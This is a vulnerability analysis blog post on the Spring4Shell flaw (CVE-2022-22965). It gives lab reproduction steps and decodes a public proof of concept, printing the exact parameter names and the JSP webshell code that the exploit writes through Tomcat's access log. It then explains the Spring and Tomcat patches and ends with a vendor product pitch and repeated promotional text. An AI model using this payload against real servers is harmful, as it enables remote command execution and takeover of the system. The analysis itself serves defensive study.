[Dry goods] Spring remote command execution vulnerability (CVE-2022-22965) principle analysis and thinking

foreword

Last week, it was revealed on the Internet that there is an RCE vulnerability in the Spring framework. After a short period of time in the wild, Spring officially released the vulnerability information on March 31. The vulnerability number is CVE-2022-22965. This article reproduces and analyzes the vulnerability, hoping to help those who need it for further research. ## 1. Pre - knowledge

### 1.1 SpringMVC parameter binding

For the convenience of programming, SpringMVC supports the automatic completion of type conversion and assignment of the request parameters or request body content in the HTTP request according to the parameters of the Controller method. Afterwards, the Controller method can directly use these parameters, avoiding the need to write a lot of code to obtain request data and type conversion from HttpServletRequest. Here is a simple example: import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;@Controllerpublic class UserController {@RequestMapping( "/addUser") public @ResponseBody String addUser(User user) {return "OK";}}public class User {private String name;private Department department;public String getName() {return name;}public void setName(String name ) {this.name = name;}public Department getDepartment() {return department;}public void setDepartment(Department department) {this.

When /addUser?name=test&department.name=SEC,
the content of user parameter in public String addUser(User user) is as follows:

It can be seen that name is automatically bound to the name attribute of the user parameter, and department.name is automatically bound to the name attribute of the department attribute of the user parameter.

Pay attention to the binding of department.name, indicating that SpringMVC supports multi-level nested parameter binding. In fact, the binding of department.name is implemented by Spring through the following call chain: User.getDepartment()Department.setName()

Suppose the request parameter name is foo.bar.baz.qux, and the input parameter of the corresponding Controller method is Param, then there is the following call chain: Param.getFoo()Foo.getBar()Bar.getBaz()Baz.setQux() // Note here is set

The main class and method for SpringMVC to implement parameter binding is WebDataBinder.doBind(MutablePropertyValues). ### 1.2 Java BeanPropertyDescriptor

PropertyDescriptor is a class under the java.beans package that comes with the JDK, meaning a property descriptor, used to obtain Java-compliant
Bean规范的对象属性和get/set方法。下面是一个简单的例子:import java.beans.BeanInfo;import java.beans.Introspector;import java.beans.PropertyDescriptor;public class PropertyDescriptorDemo {public static void main(String[] args) throws Exception {User user = new User();user.setName(“foo”);BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();PropertyDescriptor userNameDescriptor = null;for (PropertyDescriptor descriptor : descriptors) {if (descriptor.getName().equals(“name”)) {userNameDescriptor = descriptor;System.out.println("userNameDescriptor: " + userNameDescriptor);System.out.println("Before modification: ");System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));userNameDescriptor.getWriteMethod().invoke(user, “bar”);}}System.out.println("After modification: ");System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));}}userNameDescriptor: java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]Before modification: user.name: fooAfter modification: user.name: bar

As can be seen from the above code and output results, PropertyDescriptor is actually a collection of Java Bean properties and corresponding get/set methods. ### 1.3 SpringBeanWrapperImpl

In Spring, the BeanWrapper interface is the packaging of the Bean, which defines a large number of very convenient methods to access and set the properties of the Bean.

The BeanWrapperImpl class is the default implementation of the BeanWrapper interface. The BeanWrapperImpl.wrappedObject property is the wrapped Bean object. The BeanWrapperImpl finally calls the PropertyDescriptor to access and set the properties of the Bean. import org.springframework.beans.BeanWrapper;import org.springframework.beans.BeanWrapperImpl;public class BeanWrapperDemo {public static void main(String[] args) throws Exception {User user = new User();user.setName("foo" );Department department = new Department();department.setName("SEC");user.setDepartment(department);BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);userBeanWrapper.setAutoGrowNestedPaths(true);System.out.println("userBeanWrapper : " + userBeanWrapper);System.out.println("Before modification: ");System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));System.out.println("user .department.name: " + userBeanWrapper.

As can be seen from the above code and output results, BeanWrapperImpl can easily access and set Bean properties, which is much simpler than using PropertyDescriptor directly. ### 1.4TomcatAccessLogValve and access_log

Tomcat's Valve is used to process requests and responses. By combining multiple Valve Pipelines, a series of processing requests and responses are implemented in order. Among them, AccessLogValve is used to record the access log access_log. AccessLogValve is configured by default in server.xml of Tomcat, and all web applications deployed in Tomcat will execute this Valve, the content is as follows: <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs" prefix= "localhost_access_log" suffix=".txt" pattern="%h %l %u %t "%r" %s %b" />

Several important properties appearing in the configuration are listed below:

· directory: access_log file output directory.

· prefix: access_log file name prefix.

· pattern: access_log file content format.

· suffix: access_log file name suffix.

· fileDateFormat: access_log file name date suffix, the default is .yyyy-MM-dd. ## 2. Vulnerability reproduction

1. Create a maven project, pom.xml content is as follows: <?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0 "xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache. org/xsd/maven-4.0.0.xsd”>4.0.0org.springframework.bootspring-boot-starter-parent2.6.3 com.exampleCVE-2022-229650.0.1-SNAPSHOTwarorg.springframework.bootspring-boot-starter-weborg. springframework.bootspring-boot-starter-tomcatprovidedorg.springframework.bootspring-boot-maven-plugin

2.项目中添加如下代码,作为SpringBoot的启动类:import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;import org.springframework.boot.builder.SpringApplicationBuilder;import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;@SpringBootApplicationpublic class ApplicationMain extends SpringBootServletInitializer {@Overrideprotected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {return builder.sources(ApplicationMain.class);}public static void main(String[] args) {SpringApplication.run(ApplicationMain.class, args);}}

3. Add the User class and UserController class in Chapter 1.1 SpringMVC parameter binding to the project.

4. Execute the maven packaging command to package the project into a war package. The command is as follows: mvn clean package

5. Copy the CVE-2022-22965-0.0.1-SNAPSHOT.war packaged and generated in the target directory of the project to the webapps directory of Tomcat, and start Tomcat.

6. Download the POC file from https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py
and execute the following command: python3 poc.py --url http://localhost:8080/CVE-2022 -22965-0.0.1-SNAPSHOT/addUser

7. Visit http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=gnome-calculator in the browser to reproduce the vulnerability.

## 3. Vulnerability Analysis

### 3.1 POC analysis

We start with POC for analysis. After decoding the data URL in the POC, it can be split into the following 5 pairs of parameters.

3.1.1 pattern parameter

参数名:class.module.classLoader.resources.context.parent.pipeline.first.pattern

Parameter value:

%{c2}i if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in =
%{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a
= -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new
String(b)); } } %{suffix}i

Obviously, this parameter is SpringMVC multi-layer nested parameter binding. We can infer the following call chain: User.getClass()java.lang.Class.getModule()...SomeClass.setPattern()Then what is the call chain in the actual running process? Which class is SomeClass? With these questions in mind, we set a breakpoint on the main method WebDataBinder.doBind(MutablePropertyValues) mentioned in the pre-knowledge to implement SpringMVC parameter binding.

After a series of calling logic, we come to line 814 of AbstractNestablePropertyAccessor, getPropertyAccessorForPropertyPath(String) method. This method implements recursive parsing of class.module.classLoader.resources.context.parent.pipeline.first.pattern by calling itself recursively, and sets the entire call chain.

We focus on line 820, AbstractNestablePropertyAccessor nestedPa =
getNestedPropertyAccessor(nestedProperty);, this line mainly implements the acquisition of nested parameters at each level. We set a breakpoint on this line to view the value of each variable during each recursive parsing process, and how to obtain the parameters of each layer of nesting.

[External link picture transfer failed, the source site may have an anti-theft link mechanism, it is recommended to save the picture and upload it directly (img-pfaSyayF-1689995877791)(https://image.3001.net/images/20220406/1649228676_624d3b845b663fdfabf95.png!small )] first iteration

Enter

getPropertyAccessorForPropertyPath(String)

before the method:

· this: BeanWrapperImpl wrapper instance of User

·
propertyPath:class.module.classLoader.resources.context.parent.pipeline.first.pattern

·
nestedPath:module.classLoader.resources.context.parent.pipeline.first.pattern

nestedProperty: class, that is, the nested parameters that need to be parsed in this round of iteration

Enter the method, after a series of calling logic, finally come to line 308 of BeanWrapperImpl, BeanPropertyHandler.getValue() method. It can be seen that the class nested parameter finally calls User's parent class java.lang.Object.getClass() through reflection to obtain and return a java.lang.Class instance.

After the getPropertyAccessorForPropertyPath(String) method returns:

this: User's BeanWrapperImpl wrapper instance

propertyPath:class.module.classLoader.resources.context.parent.pipeline.first.pattern

nestedPath: module.classLoader.resources.context.parent.pipeline.first.pattern, as the propertyPath for the next iteration

nestedProperty: class, that is, the nested parameters that need to be parsed in this round of iteration

nestedPa: BeanWrapperImpl wrapper instance of java.lang.Class, as this for the next iteration

After the first round of iteration, we can get the first layer of call chain: User.getClass()java.lang.Class.get???() // Next round of iteration implementation

second iteration

The module nested parameter finally calls java.lang.Class.getModule() through reflection to obtain and return a java.lang.Module instance.

After the second round of iteration, we can get the second layer call chain: User.getClass()java.lang.Class.getModule()java.lang.Module.get???() // Next round of iteration implementation

third iteration

The classLoader nested parameter finally calls java.lang.Module.getClassLoader() through reflection, and returns the org.apache.catalina.loader.ParallelWebappClassLoader instance.

After the third round of iteration, we can get the third layer call chain: User.getClass()java.lang.Class.getModule()java.lang.Module.getClassLoader()org.apache.catalina.loader.ParallelWebappClassLoader.get ???() // Next round of iteration implementation

Then according to the above debugging method, debug the remaining recursive rounds in turn and observe the corresponding variables, and finally you can get the following complete call chain: User.getClass()java.lang.Class.getModule()java.lang.Module.getClassLoader( )org.apache.catalina.loader.ParallelWebappClassLoader.getResources()org.apache.catalina.webresources.StandardRoot.getContext()org.apache.catalina.core.StandardContext.getParent()org.apache.catalina.core.StandardHost. getPipeline()org.apache.catalina.core.StandardPipeline.getFirst()org.apache.catalina.valves.AccessLogValve.setPattern()

It can be seen that the pattern parameter finally corresponds to AccessLogValve.setPattern(), that is, the pattern property of AccessLogValve is set to %{c2}i
if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in =
%{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a
= -1; byte[] b = new byte[2048]; while((a= in.read(b))!=-1){ out.println(new
String(b)); } } %{suffix}i, which is the file content format of access_log.

Let's look at the pattern parameter value again. In addition to the regular Java code, there are three special fragments mixed in. By browsing the source code of AccessLogValve's parent class AbstractAccessLogValve, you can find related documents:

That is, the logs output by AccessLogValve can directly refer to the contents of HTTP requests and responses in forms such as %{param}i. For complete documentation, please refer to the References section at the end of the article.

Combining the content of the headers variable in poc.py: headers = {"suffix": "%>//", "c1": "Runtime", "c2": "<%", "DNT": "1", "Content -Type":"application/x-www-form-urlencoded"}

Finally, the actual content of the log output by AccessLogValve is as follows (formatted): <%if(“j”.equals(request.getParameter(“pwd”))){java.io.InputStream in = Runtime.getRuntime(). exec(request.getParameter(“cmd”)).getInputStream();int a = -1;byte[] b = new byte[2048];while((a=in.read(b))!=-1) {out.println(new String(b));}}%>//

Obviously, this is a JSP webshell. Where does this webshell output go? What is the name? Can it be directly accessed and parsed and executed normally? Let's look at the rest of the parameters next.

3.1.2 suffix parameter

parameter name:

class.module.classLoader.resources.context.parent.pipeline.first.suffix

Parameter value: .jsp

According to the same debugging method as the pattern parameter, the suffix parameter finally sets AccessLogValve.suffix to .jsp, which is the file name suffix of access_log.

3.1.3directory parameter

Parameter name: class.module.classLoader.resources.context.parent.pipeline.first.directory

Parameter value: webapps/ROOT

According to the same debugging method as the pattern parameter, the directory parameter finally sets AccessLogValve.directory to webapps/ROOT, which is the file output directory of access_log.

The webapps/ROOT directory is mentioned here, which is
the root directory of the Tomcat Web application. Web applications deployed to the directory can be directly accessed through the root directory of http://localhost:8080/.

3.1.4 prefix parameter

参数名:class.module.classLoader.resources.context.parent.pipeline.first.prefix

Parameter value: tomcatwar

According to the same debugging method as the pattern parameter, the prefix parameter finally sets AccessLogValve.prefix to tomcatwar, which is the file name prefix of access_log.

3.1.5 fileDateFormat parameter

参数名:class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat

Parameter value: empty

According to the same debugging method as the pattern parameter, the fileDateFormat parameter finally sets AccessLogValve.fileDateFormat to empty, that is, the file name of access_log does not contain the date.

3.1.6 Summary

So far, after the above analysis, the conclusion is very clear: through the parameters passed in by the request, the SpringMVC parameter binding mechanism is used to control the
properties of the Tomcat AccessLogValve, and let Tomcat output the customized "access log" tomcatwar.jsp in the webapps/ROOT directory , the "access log" is actually a JSP
webshell.

In the actual call chain of SpringMVC parameter binding, there are several key points that directly affect whether the vulnerability can be successfully exploited. ### 3.2 Key Points of Vulnerability Exploitation

3.2.1 Key point 1: Web application deployment method

From java.lang.Module to org.apache.catalina.loader.ParallelWebappClassLoader is the key to transfer the call chain to Tomcat and finally use AccessLogValve to output webshell.

ParallelWebappClassLoader is used when a web application is deployed to Tomcat as a war package. Now most companies will use the SpringBoot executable jar package to run Web applications. In this way, let's see what the classLoader nested parameters are parsed, as shown in the following figure:

[External link picture transfer failed, the source site may have an anti-theft link mechanism, it is recommended to save the picture and upload it directly (img-MXQTdRWM-1689995877794)(https://image.3001.net/images/20220406/1649229024_624d3ce0c521ee80ea005.png!small )]

It can be seen that using the SpringBoot executable jar package to run, the classLoader nested parameter is parsed as org.springframework.boot.loader.LaunchedURLClassLoader, check its source code, there is no getResources() method. For specific source code, please refer to the reference section at the end of the article.

That's why one of the conditions for exploiting this vulnerability is that the web application deployment method needs to be Tomcat war package deployment.

3.2.2 Key point 2: JDK version

In the process of calling AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty); in the previous chapter
, Spring actually made a defense.

Spring uses org.springframework.beans.CachedIntrospectionResults to cache and return
the PropertyDescriptor in the Java Bean that can be used by the BeanWrapperImpl. In the constructor of CachedIntrospectionResults line 289:

This line means: When the type of Bean is java.lang.Class, the PropertyDescriptor of classLoader and protectionDomain is not returned. When Spring builds the call chain of nested parameters, it will build it according to the PropertyDescriptor cached by CachedIntrospectionResults:

If it does not return, it means that class.classLoader... this kind of nested parameters will not work, that is, the following call chain: Foo.getClass()java.lang.Class.getClassLoader()BarClassLoader.getBaz()...

This is why the second condition for exploiting this vulnerability is JDK>=1.9. ## 4. Patch Analysis

### 4.1 Spring 5.3.18 Patch


By comparing the versions of Spring 5.3.17 and 5.3.18, you can see that there was a commit called "Redefine PropertyDescriptor filter" on March 31 .

Entering this submission, you can see that the filter conditions for the PropertyDescriptor of the Java Bean in the CachedIntrospectionResults constructor
have been modified: when
the type of the Java Bean is java.lang.Class, only the name and the property descriptor with the Name suffix are allowed to be obtained. In Chapter 3.2.2
Key Point 2: In the JDK version, the link using java.lang.Class.getModule() will not work.

### 4.2 Tomcat 9.0.62 Patch


By comparing the versions of Tomcat 9.0.61 and 9.0.62, we can see that there was a commit named "Security hardening. Deprecate getResources() and always return null." on April 1 .

[External link picture transfer failed, the source site may have an anti-theft link mechanism, it is recommended to save the picture and upload it directly (img-iS8YijK4-1689995877795)(https://image.3001.net/images/20220406/1649229201_624d3d917d8ad279fe5bf.png!small )]

Entering the submission, you can see that the return value of the getResources() method has been modified, and null is returned directly. WebappClassLoaderBase is the parent class of ParallelWebappClassLoader. In Chapter 3.2.1
Key Point 1: Web Application Deployment Mode, the link using org.apache.catalina.loader.ParallelWebappClassLoader.getResources() fails.

## 5. Thinking _

By outputting code to a log file and controlling the log file to be interpreted and executed, this is also common in exploit methods. Usually, a "log" file containing code is written to the server in advance, and the "log" file is interpreted and executed by using the file inclusion vulnerability. Writing to the "log" file can be realized incidentally through the logging function of the Web service middleware itself, or through curves such as SQL injection and file upload vulnerabilities.

Unlike the above, this vulnerability does not require file inclusion. The reason is that the Java Web service middleware itself is also written and run in Java, and the Java Web application deployed and running on it
is actually a part of the Java Web service middleware process
. "Communicate" internally. Relying on the powerful runtime reflection capability of the Java language, attackers can attack Java Web service
middleware through Java Web application vulnerabilities. That is, this time, the Spring vulnerability of the web application itself is used to modify the access_log configuration content of the web service middleware Tomcat, and directly output the executable "log" file to the web application directory
.

In daily development, the interpretable executable directory of the web application should be strictly controlled as read-only and not writable, and directories that can be modified during runtime, such as logs and uploaded files, should be set separately and cannot be executed.

Although this vulnerability only uses Tomcat in the current call chain, as long as there is a suitable call chain from Web application to Web service middleware class.module.classLoader..., Jetty, Weblogic, Glassfish, etc. can also be exploited theoretically. In addition, the current method of writing log files may also appear in the form of other files, such as configuration files, or even memory horses.

The only "comforting" point about this vulnerability is that it is only valid for JDK>=1.9. I believe that many companies are in the state of "you can send the version, I use Java
8!", but this is only for now. Instead of taking chances, it is better to upgrade Spring honestly as planned. ### Analysis of XDR Platform

Like Log4j2 in Log4jShell, the Spring framework is almost a JDK-level basic class library. Even if the upgrade is completed in its own application, there are still extremely large other frameworks and middleware, which makes the upgrade work extremely difficult. The solution adopted by most companies is to use "temporary patches" on border protection equipment. At the same time, a large number of bypass methods will follow, which will be a long process.

"Temporary patch" means that it cannot be eradicated, and the upgrade of the underlying dependencies is extremely time-consuming. So, how to better discover and avoid risks during this period?

Jidun Technology's analysis XDR platform collects various security logs and traffic within the enterprise, conducts global and cross-terminal real-time correlation analysis based on these data, mines hidden risks, and provides a set of risk disposal processes that can be flexibly arranged , which maximizes the security perception and processing capabilities of the enterprise. Even if someone exploits this vulnerability to break through the boundary, before causing a greater impact, through the correlation analysis of multi-terminal data, the analysis XDR platform can perceive whether the intrusion has occurred earlier, and at which stage it has reached, it can be blocked in time deal with. For a more detailed introduction to the platform, see the link below:

The method will follow, and it will be a long process.

"Temporary patch" means that it cannot be eradicated, and the upgrade of the underlying dependencies is extremely time-consuming. So, how to better discover and avoid risks during this period?

Jidun Technology's analysis XDR platform collects various security logs and traffic within the enterprise, conducts global and cross-terminal real-time correlation analysis based on these data, mines hidden risks, and provides a set of risk disposal processes that can be flexibly arranged , which maximizes the security perception and processing capabilities of the enterprise. Even if someone exploits this vulnerability to break through the boundary, before causing a greater impact, through the correlation analysis of multi-terminal data, the analysis XDR platform can perceive whether the intrusion has occurred earlier, and at which stage it has reached, it can be blocked in time deal with. For a more detailed introduction to the platform, see the link below:

https://www.jidun.cn/product/xice##Reference* Tomcat access_log configuration reference document : https://tomcat.apache.org/tomcat-9.0-doc/config/valve.html#Access_Logging* Spring 5.3. 17 and 5.3.18 version comparison: https://github.com/spring-projects/spring-framework/compare/v5.3.17…v5.3.18* Spring 5.3.18 patch submission content: https://github.com/ spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15* Tomcat 9.0.61 and 9.0.62 version comparison: https://github.com/apache/tomcat/compare/9.0.61…9.0.62* Tomcat 9.0.62 patch Submit content: https://github.com/apache/tomcat/commit/8a904f6065080409a1e00606cd7bceec6ad8918c* LaunchedURLClassLoader source code: https://github.com/spring-projects/spring-boot/blob/main/spring-boot-project/spring- boot-tools/spring-boot-loader/src/main/java/org/springframework/boot/loader/LaunchedURLClassLoader.java

Network security engineer enterprise-level learning route

At this time, of course you need a systematic learning route

If the picture is too large and compressed by the platform, you can download it at the end of the article (free of charge), and you can also learn and communicate together.

Some of my collection of self-study primers on cyber security

Some good video tutorials I got for free:

The above information [click the card below] can be received, free to share

Guess you like

Origin blog.csdn.net/web22050702/article/details/131865466